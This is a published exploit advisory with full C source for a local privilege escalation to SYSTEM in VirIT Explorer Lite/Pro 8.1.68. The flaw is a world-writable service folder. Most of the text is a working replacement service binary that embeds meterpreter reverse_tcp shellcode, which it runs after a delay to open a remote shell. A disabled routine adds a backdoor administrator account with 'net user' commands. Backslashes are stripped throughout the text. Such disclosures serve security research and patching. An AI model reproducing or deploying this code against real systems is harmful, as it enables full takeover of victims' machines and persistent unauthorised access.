Home / os / winmobile

VirIT Explorer Lite / Pro 8.1.68 Privilege Escalation

Posted on 21 May 2016

/* Full title: VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (System)/Arbitrary Code Execution Exploit Author: Paolo Stagno - voidsec@voidsec.com Vendor Homepage: http://www.tgsoft.it Version: VirIT Explorer Lite & Pro v.8.1.68 Tested on: Windows 7 CVE: TBD CVSS v2: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C) - https://nvd.nist.gov/cvss.cfm?calculator&version=2&vector=%28AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C%29 Category: local exploits Platform: windows Security Risk: High Date add: 18/05/2016 === VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (SYSTEM Privilege)/Arbitrary Code Execution - Author: Paolo Stagno Overview ========= Vir.IT eXplorer [1] is an AntiVirus, AntiSpyware and AntiMalware software made in Italy and developed by TG Soft S.a.s. A major flaws exists in the last version of Vir.IT eXplorer, this vulnerability allow a local attacker, to execute arbitrary code in the context of the application with SYSTEM privilege. Details ========== The flaw resides in the viritsvclite Service due to bad privileges for the main Vir.IT folder, by default, any user (even guest) will be able to replace, modify or alter the file. This would allow an attacker to inject code or replace the executable and have it run in the context of the system. This would allow a complete compromise of the system on which the antivirus was installed; an attacker can replace the executable, reboot the system and it would then compromise the machine. As NT AUTHORITYSYSTEM is the highest privilege level on a Windows machine, this allows a total control and access to the system. Services: viritsvclite Folder: %SYSTEMDRIVE%VEXPLite Executable: %SYSTEMDRIVE%VEXPLiteviritsvc.exe [2] icacls.exe VEXPLite C:VEXPLite Everyone:(OI)(CI)(F) <=================== Vulnerable BUILTINAdministrators:(I)(F) BUILTINAdministrators:(I)(OI)(CI)(IO)(F) NT AUTHORITYSYSTEM:(I)(F) NT AUTHORITYSYSTEM:(I)(OI)(CI)(IO)(F) BUILTINUsers:(I)(OI)(CI)(RX) NT AUTHORITYAuthenticated Users:(I)(M) NT AUTHORITYAuthenticated Users:(I)(OI)(CI)(IO)(M) Successfully processed 1 files; Failed processing 0 files icacls.exe viritsvc.exe viritsvc.exe Everyone:(I)(F) <=================== Vulnerable BUILTINAdministrators:(I)(F) NT AUTHORITYSYSTEM:(I)(F) BUILTINUsers:(I)(RX) NT AUTHORITYAuthenticated Users:(I)(M) Successfully processed 1 files; Failed processing 0 files With this flaws in mind I wrote the exploit which is able to obtain NT AUTHORITYSYSTEM via a meterpreter shell. Exploit ========== https://gist.github.com/VoidSec/9971092829dd1fec146e1595843aae65 https://www.youtube.com/watch?v=5a09efEvjTk (video proof) Remediation ========== Remove the permissions on the VEXPLite folder, all of its files and on the viritsvc.exe Service executables to allow only privileged users to alter the files, apply vendor patch once distributed. Footnotes ========== [1] http://www.tgsoft.it/english/prodotti_eng.asp [2] https://technet.microsoft.com/en-us/library/cc753525%28WS.10%29.aspx --- */ #include <windows.h> #include <stdio.h> #define small_sleep 5000 #define big_sleep 180000 SERVICE_STATUS ServiceStatus; SERVICE_STATUS_HANDLE hStatus; void ServiceMain(int argc, char **argv); void ControlHandler(DWORD request); typedef short (CALLBACK * FuncType) (LPCTSTR); /*Meterpreter reverse payload (windows/meterpreter/reverse_tcp), replace with your own*/ unsigned char r_shell[] = "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52" "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1" "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b" "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03" "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b" "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24" "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb" "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c" "x77x26x07xffxd5xb8x90x01x00x00x29xc4x54x50x68" "x29x80x6bx00xffxd5x6ax05x68xc0xa8x01x8ax68x02" "x00x11x5cx89xe6x50x50x50x50x40x50x40x50x68xea" "x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61" "xffxd5x85xc0x74x0axffx4ex08x75xecxe8x61x00x00" "x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83" "xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a" "x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57" "x68x02xd9xc8x5fxffxd5x83xf8x00x7dx22x58x68x00" "x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68" "x75x6ex4dx61xffxd5x5ex5exffx0cx24xe9x71xffxff" "xffx01xc3x29xc6x75xc7xc3xbbxf0xb5xa2x56x6ax00" "x53xffxd5"; int Spawn_Shell(){ //Spawn the reverse shell int (*func)(); func = (int (*)()) r_shell; (int)(*func)(); } int Add_Admin(){ //ADD VoidSec:secret to Local Administrators system("net user VoidSec secret /ADD"); system("net localgroup Administrators VoidSec /ADD"); return 0; } int main(){ SERVICE_TABLE_ENTRY ServiceTable[2]; ServiceTable[0].lpServiceName = "viritsvclite"; ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION) ServiceMain; ServiceTable[1].lpServiceName = NULL; ServiceTable[1].lpServiceProc = NULL; StartServiceCtrlDispatcher(ServiceTable); return 0; } void ServiceMain(int argc, char **argv) { ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; hStatus = RegisterServiceCtrlHandler("viritsvclite", (LPHANDLER_FUNCTION) ControlHandler); ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(hStatus, &ServiceStatus); //Big sleep (3m), let Windows start Network, DHCP etc. Sleep(big_sleep); Spawn_Shell(); //Add_Admin(); //Let our service run instead of kill it (only works with Add_Admin, Spawn_Shell will kill it on exit) /*while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { Sleep(small_sleep); }*/ return; } void ControlHandler(DWORD request) { switch (request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hStatus, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hStatus, &ServiceStatus); return; default: break; } SetServiceStatus(hStatus, &ServiceStatus); return; }

 

TOP